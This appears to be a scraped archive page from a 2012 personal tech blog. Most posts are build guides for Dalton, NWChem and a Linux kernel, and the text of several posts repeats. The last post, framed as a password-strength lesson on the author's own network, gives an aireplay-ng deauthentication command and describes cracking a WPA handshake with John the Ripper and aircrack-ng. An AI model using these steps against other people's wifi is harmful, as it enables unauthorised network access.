-->Default basis set directory will be /opt/dalton/basis/
-->Job specific directories under $SCRATCH/$USER
-->will be used for temporary files when running DALTON
Use SCRATCH=/work as default root scratch space in "dalton" run script? [Y/n] Please enter default root scratch directory:
-->Creating Makefile.config ...
gfortran version 471 prc=x86_64
INFO: Compiling with 32-bit integers.
INFO: Make sure pre-compiled BLAS, MPI etc. libraries are also with 32-bit integers!!!
Proper 64-bit file access detected.
-->Creating the DALTON run-script in /opt/dalton/bin
The configuration of DALTON has finished succesfully.
Check compiler flags etc. in Makefile.config and run "make" to get executable.
which generates Makefile.config. Edit it and- change the -march to native.
- add -fno-whole-file to avoid internal compiler errors
- change optimisation level to -O1 (O0 is ok, O2 and O3 give GPOPEN problems)
Like this:
ARCH = linux
#
#
CPPFLAGS = -DVAR_GFORTRAN -DSYS_LINUX -DVAR_MFDS -D'INSTALL_WRKMEM=131000000' -D'INSTALL_MMWORK=65000000' -D_FILE_OFFSET_BITS=64 -DVAR_MPI -DGFORTRAN=471 -DIMPLICIT_NONE
F90 = mpif90
CC = mpicc
LOADER = mpif90
RM = rm -f
FFLAGS = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -fbacktrace -fno-whole-file
SAFEFFLAGS = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -fbacktrace -fno-whole-file
CFLAGS = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -std=c99 -DRESTRICT=restrict -DFUNDERSCORE=1
INCLUDES = -I../include
MODULES = -J../modules
LIBS = -L/opt/ATLAS/lib -llapack -llapack -lf77blas -latlas
INSTALLDIR = /opt/dalton/bin
PDPACK_EXTRAS = linpack.o eispack.o gp_zlapack.o gp_dlapack.o
GP_EXTRAS =
AR = ar
ARFLAGS = rvs
# flags for ftnchek on Dalton /hjaaj
CHEKFLAGS = -nopure -nopretty -nocommon -nousage -noarray -notruncation -quiet -noargumants -arguments=number -usage=var-unitialized
# -usage=var-unitialized:arg-const-modified:arg-alias
# -usage=var-unitialized:var-set-unused:arg-unused:arg-const-modified:arg-alias
#
default : dalton linuxparallel.x
SAFE_FFLAGS_for_ifort = $(FFLAGS)
#
# Parallel initialization
#
MPI_INCLUDE_DIR =
MPI_LIB_PATH = -L/usr/lib
MPI_LIB = -lmpi
#
#
# Suffix rules
# hjaaj Oct 04: .g is a "cheat" suffix, for debugging.
# 'make x.g' will create x.o from x.F or x.c with -g debug flag set.
#
.SUFFIXES : .F .F90 .c .o .i .g .s
.F.o:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(FFLAGS) -c $*.F
.F.i:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) -E $*.F > $*.i
.F.g:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(SAFEFFLAGS) -g -c $*.F
.F.s:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(FFLAGS) -S -g -c $*.F
.F90.o:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(FFLAGS) -c $*.F90
.F90.i:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) -E $*.F90 > $*.i
make make install
Now just copy the basis sets and ecp data to the proper location:
cd ../ cp basis/* -R /opt/dalton/basis
and edit your ~/.bashrc;
export PATH=$PATH:/opt/dalton/bin
And you should be good to go.
So far I haven't run all the tests, but
./TEST -dalton /opt/dalton/bin/dalton short
gave
##################################################################### Summary ##################################################################### ALL TESTS ENDED PROPERLY! date and time : Wed Nov 7 11:57:02 EST 2012
GPOPEN errors and how to get around them.
To make the story short: if you use -O3 or -O2 for some reason Dalton can't find the basis sets if you declare them the normal way (-O0 and -O1 take care of the problem). However, using ATOMBASIS it works.
Here's an example. Typically you'd specify the basis set for a whole molecule in your .mol file:
BASIS STO-3G DFT PROPERTIES TEST This doesn't work with O3 AtomTypes=2 Angstrom 8. 1 O -0.141254 0.0998816 0.00000 1. 2 H 0.589315 0.718039 0.00000 H -0.922641 0.652406 0.00000
but that leads to errors on the debian (but not centos) builds:
and0: Directories for basis set searches: /jobs/dalton:/opt/dalton/basis MPI node no.: 0 Reason: ERROR (GPOPEN) UPON OPENING A FILE Node 0: --- SEVERE ERROR, PROGRAM WILL BE ABORTED --- ERROR (GPOPEN) UPON OPENING A FILE
whereasAtomic type no. 1 -------------------- Nuclear charge: 8.00000 Number of symmetry independent centers: 1 Number of basis sets to read; 2 Basis set file used for this atomic type with Z = 8 : "/opt/dalton/basis/ " --> ERROR (GPOPEN) UPON TRYING TO OPEN FILE ON UNIT 11 --> with filename /opt/dalton/basis/ --> IOSTAT ERROR CODE RETURNED 21 QTRACE dump of internal trace stack ======================== level module ======================== 7 GPOPEN 6 BASLIB 5 READ_MOL 4 READIN 3 HERMIT 2 DALTON 1 DALTON main
ATOMBASIS DFT PROPERTIES TEST This works with O3 AtomTypes=2 Angstrom 8. 1 basis=STO-3G O -0.141254 0.0998816 0.00000 1. 2 basis=STO-3G H 0.589315 0.718039 0.00000 H -0.922641 0.652406 0.00000
works and gives
0: Directories for basis set searches: /opt/dalton/basis:/opt/dalton/basis NOTE: 1 informational messages have been issued. Check output, result, and error files for "INFO".
and a normal exit:
CPU time statistics for ABACUS ------------------------------ LINRES 00:00:02 77 % TOTAL 00:00:03 100 % >>>> Total CPU time used in ABACUS: 3.21 seconds >>>> Total wall time used in ABACUS: 3.22 seconds .-------------------------------------------. | End of Static Property Section (ABACUS) - | `-------------------------------------------' >>>> Total CPU time used in DALTON: 6.04 seconds >>>> Total wall time used in DALTON: 6.06 seconds Date and time (Linux) : Tue Nov 6 14:54:24 2012 Host name : beryllium
05 November 2012
275. Compiling Dalton 2011 on ROCKS 5.4.3/CentOS
I've previously struggled with Dalton 2.0-cam and given up. I somehow didn't know about Dalton 2011 at that point, but it turns out it's much easier to build. Well, I managed to build it on ROCKS/CentOS (gcc 4.1). I'm still working on the debian version which has a much newer gcc (4.7)
Before you get started you may want to compile ATLAS as shown here: http://verahill.blogspot.com.au/2012/09/rocks-543-atlas-and-gromacs-on-xeon.html
License:
First go to http://daltonprogram.org/licence/ and fill out the license agreement. Once that's done you'll get an automated email with a license form, which you should print, sign, scan and email to the email address you're given. Once your form has been processed you'll be sent another email with a user name and password. I received my user name and password the next business day.
Go online and download the source file, Dalton2011_release_v0.tgz, and put it in ~/tmp. Sort out where you want your program to end up
Next,
and answer all the questions:
Regardless of what you'll answer, here's an example of a Makefile.config that I used. The key is to add -I../modules to INCLUDES, and delete -fbacktrace.
DO NOT RUN MAKE IN PARALLEL i.e. no make -j3 or anything like that.
Add /share/apps/dalton/bin to your PATH i.e. add a line saying
So far I haven't had much time to look at it, but here's the result of the 'short' test series:
prop_exci:
prop_vibg2:
walk_vibave2:
dftmm_1:
All in all, it looks very promising.
Note on running in parallel
I had to do
Before you get started you may want to compile ATLAS as shown here: http://verahill.blogspot.com.au/2012/09/rocks-543-atlas-and-gromacs-on-xeon.html
License:
First go to http://daltonprogram.org/licence/ and fill out the license agreement. Once that's done you'll get an automated email with a license form, which you should print, sign, scan and email to the email address you're given. Once your form has been processed you'll be sent another email with a user name and password. I received my user name and password the next business day.
Go online and download the source file, Dalton2011_release_v0.tgz, and put it in ~/tmp. Sort out where you want your program to end up
sudo mkdir /share/apps/dalton sudo chown $USER /share/apps/dalton mkdir /share/apps/dalton/bin /share/apps/dalton/basis /share/apps/dalton/lsdalton
Next,
cd ~/tmp tar xvf Dalton2011_release_v0.tgz cd Dalton2011_release/DALTON ./configure
and answer all the questions:
------------------------------------------------------------------
Configuring the DALTON Makefile.config and "dalton" run script
------------------------------------------------------------------
INFO: Operating system from 'uname -s' : Linux
INFO: Processor type from 'uname -m' : x86_64
No architecture specified, attempting auto-configuration:
This appears to be a -linux architecture. Is this correct? [Y/n]
--> Installing DALTON on a -linux computer
Note that 64-bit integers are desirable for Cholesky and very large
scale CI, otherwise the most important effect is that some files will be bigger.
If you choose 64-bit integers, be careful that any system library
routines (incl. MPI) also use 64-bit integers!
Do you want 64-bit integers? [y/N] Do you want to install the program in a parallel MPI version? [Y/n]
-->WARNING: Makefiles for MPI architecture are difficult to guess
Please compare the generated Makefile.config with local documentation.
Checking for Fortran compiler ...
from this list: mpif90 mpiifort ifort pgf95 pgf90 gfortran g95
Compiler /opt/openmpi/bin/mpif90 found, use this compiler? [Y/n]
-->Compiler mpif90 found and accepted.
Is backend compiler gfortran ? [Y/n]
Checking for C compiler ...
from this list: mpicc mpiicc icc ecc pgcc gcc
Compiler /opt/openmpi/bin/mpicc found, use this compiler? [Y/n]
-->Compiler mpicc found and accepted.
Testing existence of libraries in this order:
libacml.a libmkl.so libmkl_p3.a libatlas.a libblas.a
Directory search list for libraries:
/state/partition1/home/me/tmp/ATLAS/build/lib /state/partition1/apps/ATLAS/lib /lib /usr/local/lib /usr/lib /usr/local/lib/ATLAS /lib64 /usr/lib64 /usr/local/lib64
Do you want to replace this with your own directory search list? [y/N] Found /state/partition1/home/me/tmp/ATLAS/build/lib/libatlas.a, use it? [Y/n] Found /state/partition1/apps/ATLAS/lib/libatlas.a, use it? [Y/n]
-->The following mathematical library(ies) will be used:
-L/state/partition1/apps/ATLAS/lib -llapack -llapack -lf77blas -latlas
DALTON uses almost 100 Megabytes of static
allocations, in addition to the dynamic allocation.
DALTON has the possibility to reserve an amount of static memory
for storing two-electron integrals in direct and parallel calculations
Storing some or all of the 2-el. integrals in memory will speed up
direct and parallel calculations (and in particular the latter).
NOTE: This will increase the static memory allocation used by DALTON
Would you like to activate the possibility of storing 2-el.int. in memory? [y/N] How many MB to use for storing 2-el. integrals?
-->Program will be installed with 500 MB (65000000 words) used for storing 2-el. integrals
Maximum amount of work memory for dynamic allocations can be changed
at run time with the environment variable WRKMEM (in REAL*8 words = megabytes/8)
or by using the -M option to the run script: "dalton -M mb ..." (in megabytes).
We recommend at least 200 MB work memory,
larger for correlated calculations, but it should for maximum
efficiency NOT exceed available physical memory per CPU in parallel calculations.
How many MB to use as default for work memory (hit return for default of 1000 MB)?
-->Program will be installed with a default work memory of 900 MB (117000000 words)
-->Current directory is /home/me/tmp/Dalton2011_release/DALTON
Use default ../bin as installation directory for DALTON binaries and scripts? [Y/n] Please enter another installation directory:
-->DALTON executable and script will be placed in /share/apps/dalton/test directory
-->Default basis set directory will be /home/me/tmp/Dalton2011_release/DALTON/../basis/
Use this directory as default basis set directory? [Y/n]
Please choose another default basis set directory (must end with /)
-->Default basis set directory will be /share/apps/dalton/basis/
I did not find /work, /scratch, /scr, or /temp. I will use /tmp
-->Job specific directories under $SCRATCH/$USER
-->will be used for temporary files when running DALTON
Use SCRATCH=/tmp as default root scratch space in "dalton" run script? [Y/n]
-->Creating Makefile.config ...
gfortran version 412 prc=x86_64
INFO: Compiling with 32-bit integers.
INFO: Make sure pre-compiled BLAS, MPI etc. libraries are also with 32-bit integers!!!
Proper 64-bit file access detected.
-->Creating the DALTON run-script in /share/apps/dalton/test
The configuration of DALTON has finished succesfully.
Check compiler flags etc. in Makefile.config and run "make" to get executable.
Regardless of what you'll answer, here's an example of a Makefile.config that I used. The key is to add -I../modules to INCLUDES, and delete -fbacktrace.
ARCH = linux
#
#
CPPFLAGS = -DVAR_GFORTRAN -DSYS_LINUX -DVAR_MFDS -D'INSTALL_WRKMEM=117000000' -D'INSTALL_MMWORK=65000000' -D_FILE_OFFSET_BITS=64 -DVAR_MPI -DGFORTRAN=412 -DIMPLICIT_NONE
F90 = mpif90
CC = mpicc
LOADER = mpif90
RM = rm -f
FFLAGS = -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize
SAFEFFLAGS = -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize
CFLAGS = -march=x86-64 -O3 -ffast-math -funroll-loops -ftree-vectorize -std=c99 -DRESTRICT=restrict -DFUNDERSCORE=1
INCLUDES = -I../include -I../modules
MODULES = -J../modules
LIBS = -L/state/partition1/apps/ATLAS/lib -llapack -llapack -lf77blas -latlas -L/opt/openmpi/lib -lmpi
INSTALLDIR = /share/apps/dalton/test
PDPACK_EXTRAS = linpack.o eispack.o gp_zlapack.o gp_dlapack.o
GP_EXTRAS =
AR = ar
ARFLAGS = rvs
# flags for ftnchek on Dalton /hjaaj
CHEKFLAGS = -nopure -nopretty -nocommon -nousage -noarray -notruncation -quiet -noargumants -arguments=number -usage=var-unitialized
# -usage=var-unitialized:arg-const-modified:arg-alias
# -usage=var-unitialized:var-set-unused:arg-unused:arg-const-modified:arg-alias
#
default : dalton linuxparallel.x
SAFE_FFLAGS_for_ifort = $(FFLAGS)
#
# Parallel initialization
#
MPI_INCLUDE_DIR =
MPI_LIB_PATH =
MPI_LIB =
#
#
# Suffix rules
# hjaaj Oct 04: .g is a "cheat" suffix, for debugging.
# 'make x.g' will create x.o from x.F or x.c with -g debug flag set.
#
.SUFFIXES : .F .F90 .c .o .i .g .s
.F.o:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(FFLAGS) -c $*.F
.F.i:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) -E $*.F > $*.i
.F.g:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(SAFEFFLAGS) -g -c $*.F
.F.s:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(FFLAGS) -S -g -c $*.F
.F90.o:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(FFLAGS) -c $*.F90
.F90.i:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) -E $*.F90 > $*.i
.F90.g:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(SAFEFFLAGS) -g -c $*.F90
.F90.s:
$(F90) $(INCLUDES) $(MODULES) $(CPPFLAGS) $(FFLAGS) -S -g -c $*.F90
.c.o:
$(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -c $*.c
.c.i:
$(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -E $*.c > $*.i
.c.g:
$(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -g -c $*.c
.c.s:
$(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -S -g -c $*.c
If all is looking well, make.make cd ../ cp basis/* /share/apps/dalton/basis
DO NOT RUN MAKE IN PARALLEL i.e. no make -j3 or anything like that.
Add /share/apps/dalton/bin to your PATH i.e. add a line saying
export PATH=$PATH:/share/apps/dalton/binto your ~/.bashrc and source it.
So far I haven't had much time to look at it, but here's the result of the 'short' test series:
./TEST -dalton /share/apps/dalton/bin/dalton short [..] ##################################################################### Summary ##################################################################### THERE IS A PROBLEM IN TEST CASE(S) prop_exci prop_vibg2 walk_vibave2 dftmm_1 date and time : Sun Nov 4 18:41:59 PST 2012Here's what I found for each of the troublesome ones above:
prop_exci:
126: INFO from READIN: Threshold for discarding integrals was 1.00D-16 127: INFO from READIN: Threshold is reset to minimum value 1.00D-15But otherwise it finished ok.
prop_vibg2:
SIROUT stat info, IST and IEND = 0 -1 IST or IEND out of bounds - probably no optimization in this run.But otherwise it finished ok.
walk_vibave2:
3 informational messages have been issued by Dalton, output from 'grep -n INFO' (max 10 lines): 549: *** SETSIR-INFO, time in NSETUP: 0.00 seconds. 2346: *** SETSIR-INFO, time in NSETUP: 0.00 seconds. 3691: *** SETSIR-INFO, time in NSETUP: 0.00 secondsBut otherwise it finished ok.
dftmm_1:
NOTE: 1 warnings have been issued. Check output, result, and error files for "WARNING". dftmm_1.tar.gz has been copied to /home/me/tmp/Dalton2011_release/DALTON/test ---------------------------------------------------------- 2 WARNINGS have been issued by Dalton, output from 'grep -n -i WARNING' (max 10 warnings): 711: NOTE: 1 warnings have been issued. 712: Check output, result, and error files for "WARNING".I can't find the warning in the output, which looks like it finished ok.
All in all, it looks very promising.
Note on running in parallel
I had to do
mkdir /tmp/$USER
first.
In addition, when running I have to explicitly define my scratch directory:
dalton -t /tmp/$USER -N 4 myinput.dal myinput.molOther than that it's OK. I just get the overall impression that things aren't very stable (some jobs crash, some don't)
02 November 2012
274. Kernel 3.7-rc3
There's a specific driver (Silicom devices) included in the new kernel (3.7) that interests a friend. I do not suggest people in general run an -rc kernel, so I'm not going to put any effort into making this post user-friendly.
Having said that, in general you should be fine. In general.
sudo apt-get install kernel-package fakeroot build-essential
At this stage you'll be asked questions about all the shiny new things that are found in the kernel. See bottom of the post for a list of the questions.
If you regret the answer to a question you can change your mind later by doing
Once you're done answering questions, compile!
It takes 43 minutes on my old AMD X3.
To install the kernel:
And you're done!
New stuff (compared to kernel 3.6.3):
As for Intel devices the pre-existing settings were:
Having said that, in general you should be fine. In general.
sudo apt-get install kernel-package fakeroot build-essential
mkdir ~/tmp cd ~/tmp wget http://www.kernel.org/pub/linux/kernel/v3.0/testing/linux-3.7-rc3.tar.bz2 tar xvf linux-3.7-rc3.tar.bz2 cd linux-3.7-rc3/ cat /boot/config-`uname -r`>.config make oldconfig
At this stage you'll be asked questions about all the shiny new things that are found in the kernel. See bottom of the post for a list of the questions.
If you regret the answer to a question you can change your mind later by doing
make menuconfig
Once you're done answering questions, compile!
make-kpkg clean time fakeroot make-kpkg -j3 --initrd --revision=3.7.0 --append-to-version=-rc3 kernel_image kernel_headers
It takes 43 minutes on my old AMD X3.
To install the kernel:
mv ../linux-*-3.7.0-rc3*.deb . sudo dpkg -i *.deb
And you're done!
New stuff (compared to kernel 3.6.3):
* CPU/Task time and stats accounting
*
Cputime accounting
> 1. Simple tick based cputime accounting (TICK_CPU_ACCOUNTING) (NEW)
2. Fine granularity task level IRQ time accounting (IRQ_TIME_ACCOUNTING)
choice[1-2]: 1
Consider userspace as in RCU extended quiescent state (RCU_USER_QS) [N/y/?] (NEW)
Module signature verification (MODULE_SIG) [N/y/?] (NEW)
Legacy cpb sysfs knob support for AMD CPUs (X86_ACPI_CPUFREQ_CPB) [Y/n/?] (NEW)
Packet: sockets monitoring interface (PACKET_DIAG) [N/m/y/?] (NEW)
IPv6: GRE tunnel (IPV6_GRE) [N/m/y/?] (NEW)
IPv4 NAT (NF_NAT_IPV4) [N/m/?] (NEW)
IPv6 NAT (NF_NAT_IPV6) [N/m/?] (NEW)
OMAP OCP2SCP DRIVER (OMAP_OCP2SCP) [N/m/y/?] (NEW)
Maximum expected bad eraseblock count per 1024 eraseblocks (MTD_UBI_BEB_LIMIT) [20] (NEW)
UBI Fastmap (Experimental feature) (MTD_UBI_FASTMAP) [N/y/?] (NEW)
Calxeda Highbank SATA support (SATA_HIGHBANK) [N/m/?] (NEW)
Virtual eXtensible Local Area Network (VXLAN) (VXLAN) [N/m/y/?] (NEW) Y
PCH PTP clock support (PCH_PTP) [N/y/?] (NEW)
Solarflare SFC9000-family PTP support (SFC_PTP) [Y/n/?] (NEW)
Drivers for Atheros AT803X PHYs (AT803X_PHY) [N/m/?] (NEW)
MAX310X support (SERIAL_MAX310X) [N/y/?] (NEW)
SCCNXP serial port support (SERIAL_SCCNXP) [N/m/y/?] (NEW)
TPM HW Random Number Generator support (HW_RANDOM_TPM) [M/n/?] (NEW)
TPM Interface Specification 1.2 Interface (I2C - Infineon) (TCG_TIS_I2C_INFINEON) [N/m/?] (NEW)
NXP SC18IS602/602B/603 I2C to SPI bridge (SPI_SC18IS602) [N/m/?] (NEW)
OMAP HDQ driver (HDQ_MASTER_OMAP) [N/m/?] (NEW)
Analog Devices ADT7410 (SENSORS_ADT7410) [N/m/?] (NEW)
Maxim MAX197 and compatibles (SENSORS_MAX197) [N/m/y/?] (NEW)
generic cpu cooling support (CPU_THERMAL) [N/y/?] (NEW) Y
Fairchild FAN53555 Regulator (REGULATOR_FAN53555) [N/m/?] (NEW)
Media USB Adapters (MEDIA_USB_SUPPORT) [N/y/?] (NEW)
Media PCI Adapters (MEDIA_PCI_SUPPORT) [N/y/?] (NEW)
Media test drivers (V4L_TEST_DRIVERS) [N/y] (NEW)
ISA and parallel port devices (MEDIA_PARPORT_SUPPORT) [N/y/?] (NEW)
Autoselect tuners and i2c modules to build (MEDIA_SUBDRV_AUTOSELECT) [Y/n/?] (NEW)
Maximum debug level (NOUVEAU_DEBUG) [5] (NEW)
Default debug level (NOUVEAU_DEBUG_DEFAULT) [3] (NEW)
Backlight Driver for LM3630 (BACKLIGHT_LM3630) [N/m/?] (NEW)
Backlight Driver for LM3639 (BACKLIGHT_LM3639) [N/m/?] (NEW)
Sony PS3 BD Remote Control (HID_PS3REMOTE) [N/m/?] (NEW)
HID Sensors framework support (HID_SENSOR_HUB) [N/m/?] (NEW)
ZTE USB serial driver (USB_SERIAL_ZTE) [N/m/?] (NEW)
Functions for loading firmware on EZUSB chips (USB_EZUSB_FX2) [M/y/?] (NEW)
OMAP USB2 PHY Driver (OMAP_USB2) [N/m/y/?] (NEW)
LED support for LM3642 Chip (LEDS_LM3642) [N/m/?] (NEW)
LED support for LM355x Chips, LM3554 and LM3556 (LEDS_LM355x) [N/m/?] (NEW)
LED CPU Trigger (LEDS_TRIGGER_CPU) [N/y/?] (NEW)
Dallas DS2404 (RTC_DRV_DS2404) [N/m/y/?] (NEW)
Silicom devices (NET_VENDOR_SILICOM) [Y/n/?] (NEW) Y
Silicom BypassCTL library support (SBYPASS) [N/m/?] (NEW)m
Silicom BypassCTL net support (BPCTL) [N/m/?] (NEW) m
Cambridge Electronic Design 1401 USB support (CED1401) [N/m/?] (NEW)
Digi Realport driver (DGRP) [N/m/y/?] (NEW)
STE-Modem remoteproc support (STE_MODEM_RPROC) [N/m/y/?] (NEW)
SMB2 network file system support (EXPERIMENTAL) (CIFS_SMB2) [N/y/?] (NEW)
Red-Black tree test (RBTREE_TEST) [N/m/?] (NEW)
Interval tree test (INTERVAL_TREE_TEST) [N/m/?] (NEW)
CAST5 (CAST-128) cipher algorithm (x86_64/AVX) (CRYPTO_CAST5_AVX_X86_64) [N/m/y/?] (NEW)
CAST6 (CAST-256) cipher algorithm (x86_64/AVX) (CRYPTO_CAST6_AVX_X86_64) [N/m/y/?] (NEW)
Asymmetric (public-key cryptographic) key type (ASYMMETRIC_KEY_TYPE) [N/m/y/?] (NEW)
As for Intel devices the pre-existing settings were:
Intel devices (NET_VENDOR_INTEL) [Y/n/?] y Intel(R) PRO/100+ support (E100) [M/n/y/?] m Intel(R) PRO/1000 Gigabit Ethernet support (E1000) [M/n/y/?] m Intel(R) PRO/1000 PCI-Express Gigabit Ethernet support (E1000E) [M/n/y/?] m Intel(R) 82575/82576 PCI-Express Gigabit Ethernet support (IGB) [M/n/y/?] m Direct Cache Access (DCA) Support (IGB_DCA) [Y/n/?] y PTP Hardware Clock (PHC) (IGB_PTP) [N/y/?] n Intel(R) 82576 Virtual Function Ethernet support (IGBVF) [M/n/y/?] m Intel(R) PRO/10GbE support (IXGB) [M/n/y/?] m Intel(R) 10GbE PCI Express adapters support (IXGBE) [M/n/y/?] m Intel(R) 10GbE PCI Express adapters HWMON support (IXGBE_HWMON) [Y/n/?] y Direct Cache Access (DCA) Support (IXGBE_DCA) [Y/n/?] y Data Center Bridging (DCB) Support (IXGBE_DCB) [Y/n/?] y PTP Clock Support (IXGBE_PTP) [N/y/?] n Intel(R) 82599 Virtual Function Ethernet support (IXGBEVF) [M/n/y/?] m Intel (82586/82593/82596) devices (NET_VENDOR_I825XX) [Y/n/?] y Zenith Z-Note support (EXPERIMENTAL) (ZNET) [N/m/y/?] n
31 October 2012
273. NWChem and COSMO: custom radii
There are two approaches described in the nwchem manual for using custom radii in COSMO calculations:
and
where custom.par looks like this:
The downside with the second example is that you need to first create the run folder, put cosmo.par there and first then can you submit.
An easier approach is to create the custom.par on the fly using task shell:
geometry H 0 0 0 H 0 1 0 O 1 0 0 end cosmo radius 1.1 1.1 1.8 end
and
cosmo end set cosmo:map custom.par
where custom.par looks like this:
The downside to the first example is that it's a PITA to use -- you need to enter each vdw radius in the order you are listing the atoms in the geometry section. It means that for a 50 atom geometry you need to enter 50 values, even if all 50 atoms are the same element.H 1.1 O 1.8
The downside with the second example is that you need to first create the run folder, put cosmo.par there and first then can you submit.
An easier approach is to create the custom.par on the fly using task shell:
task shell "echo -e 'H 1.1 \n O 1.8' > mycosmopars.par" cosmo end set cosmo:map mycosmopars.par
30 October 2012
272. Compiling NWChem 6.1.1.1 on ROCKS 5.4.3/CentOS 5.6
Nothing weird with this one and it's all but identical to the build on debian, but here's a step by step anyway to help those who are computational chemists, but not sysadmins.
Preparations:
First compile openblas according to http://verahill.blogspot.com.au/2012/05/building-nwchem-61-on-debian.html
Next, create e.g. /share/apps/nwchem, like this
It will allows you to read, write and execute. It will allow group members and 'world' to read and execute, but not write.
If you've already built earlier versions of nwchem you want to skip the steps above.
NWChem:
You will need to go to http://www.nwchem-sw.org/index.php/Download and download version 6.1.1. Using the direct link (http://www.nwchem-sw.org/images/Nwchem-6.1.1-src.2012-06-27.tar.gz) with wget isn't working for me anymore.
Put your Nwchem-6.1.1-src.2012-06-27.tar.gz in /share/apps/nwchem and expand it.
Create buildconf.sh
Before running it, edit src/config/makefile.h and change line 1957:
It took about 15 minutes to build -- a clear improvement over 6.1 for me (30 min+)
Create a default.nwchemrc in your /share/apps/nwchem/nwchem-6.1.1-src/ folder
You might also want to add nwchem to path -- add
Preparations:
First compile openblas according to http://verahill.blogspot.com.au/2012/05/building-nwchem-61-on-debian.html
Next, create e.g. /share/apps/nwchem, like this
sudo mkdir /share/apps/nwchem sudo chmod 755 /share/apps/nwchem
It will allows you to read, write and execute. It will allow group members and 'world' to read and execute, but not write.
If you've already built earlier versions of nwchem you want to skip the steps above.
NWChem:
You will need to go to http://www.nwchem-sw.org/index.php/Download and download version 6.1.1. Using the direct link (http://www.nwchem-sw.org/images/Nwchem-6.1.1-src.2012-06-27.tar.gz) with wget isn't working for me anymore.
Put your Nwchem-6.1.1-src.2012-06-27.tar.gz in /share/apps/nwchem and expand it.
tar xvf Nwchem-6.1.1-src.2012-06-27.tar.gz cd nwchem-6.1.1-src/
Create buildconf.sh
export LARGE_FILES=TRUE export TCGRSH=/usr/bin/ssh export NWCHEM_TOP=`pwd` export NWCHEM_TARGET=LINUX64 export NWCHEM_MODULES="all python" export PYTHONHOME=/opt/rocks export PYTHONVERSION=2.4 export USE_MPI=y export USE_MPIF=y export USE_MPIF4=y export MPI_LOC=/opt/openmpi export MPI_INCLUDE=/opt/openmpi/include export LIBRARY_PATH=$LIBRARY_PATH:/opt/openmpi/lib:/share/apps/openblas export LIBMPI="-lmpi -lopen-rte -lopen-pal -ldl -lmpi_f77 -lpthread" export BLASOPT="-L/share/apps/openblas/lib -lopenblas -lopenblas_nehalem-r0.1.1 -lopenblas_nehalemp-r0.1.1" cd $NWCHEM_TOP/src export FC=gfortran make clean make nwchem_config make FC=gfortran |tee make.log cd ../contrib ./getmem.nwchem
Before running it, edit src/config/makefile.h and change line 1957:
1957 EXTRA_LIBS += -lnwcutil -lpthread -lutil -ldl -lz -lssl
You are now ready to build.time sh buildconf.sh
It took about 15 minutes to build -- a clear improvement over 6.1 for me (30 min+)
Create a default.nwchemrc in your /share/apps/nwchem/nwchem-6.1.1-src/ folder
Then each user can donwchem_basis_library /share/apps/nwchem/nwchem-6.1.1-src/src/basis/libraries/ ffield amber amber_1 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_s/ amber_2 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_x/ amber_3 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_q/ amber_4 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_u/ amber_5 /share/apps/nwchem/nwchem-6.1.1-src/src/data/custom/ spce /share/apps/nwchem/nwchem-6.1.1-src/src/data/solvents/spce.rst charmm_s /share/apps/nwchem/nwchem-6.1.1-src/src/data/charmm_s/ charmm_x /share/apps/nwchem/nwchem-6.1.1-src/src/data/charmm_x/
ln -s /share/apps/nwchem/nwchem-6.1.1-src/default.nwchemrc ~/.nwchemrc
You might also want to add nwchem to path -- add
to your ~/.bashrcexport PATH=$PATH:/share/apps/nwchem/nwchem-6.1.1-src export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/openmpi/lib:/share/apps/openblas
271. Your neighbours' WPA and you
So WEP is very easy to break, but WPA is much more of a challenge and breaking it involves a brute force attack.
The point of this post is to show that 1) you should select reasonably complex passwords (complex from a dictionary/autogeneration POV) and 2) no password is uncrackable, so changing your password on a regular basis is a good idea.
See http://verahill.blogspot.com.au/2012/10/your-neighbours-wep-wifi-and-you.html to get set up with aircrack and kismet.
For this post I used my office wifi and my android phone as the client.
AP: "edunet2", Channel 6, MAC 00:1F:33:30:XX:XX, Client: MAC 00:23:76:B0:XX:XX
Snooping
Kismet is a good tool for this. See here for how to get started with kismet: http://verahill.blogspot.com.au/2012/10/your-neighbours-wep-wifi-and-you.html
Or you could just use your android phone and a decent wireless scanner...
Attacking
First set up your interface and a work directory:
Next, start to collect data:
Or you can force things a bit if there's a client attached. To force it, de-authenticate the real client and hope that it's been set to auto-reconnect.
sudo aireplay-ng -0 1 -a 00:1F:33:30:XX:XX -c 00:23:76:B0:XX:XX wlan1
Depending on how far away you are from the AP and the client this may or may not be easy.
Cracking the password exchanged during the handshake is the biggest challenge though.
Cracking for show
In the case you actually already know the password (e.g. you're cracking your own wireless), create a file called password.lst with your password in it. Or get a dictionary file and add your password to it.
Then run
which gives
Brute-force using John the Ripper (sort of):
Ideally I should use the method shown below this section, but I haven't quite gotten that to work.
Instead I use john to generate the random strings and pipe them to aircrack-ng:
And that kind of works, although awkwardly so -- you can look at john.conf for limits to how the random passwords are generated (i.e. MaxLen, MinLen)
What should've worked follows below -- but it doesn't work for me.
So far not working:
*In theory everything below works, but I'm having no luck cracking the password even if I put it in the dictionary -- which is the points of the whole exercise.
Brute-forcing using John the Ripper:
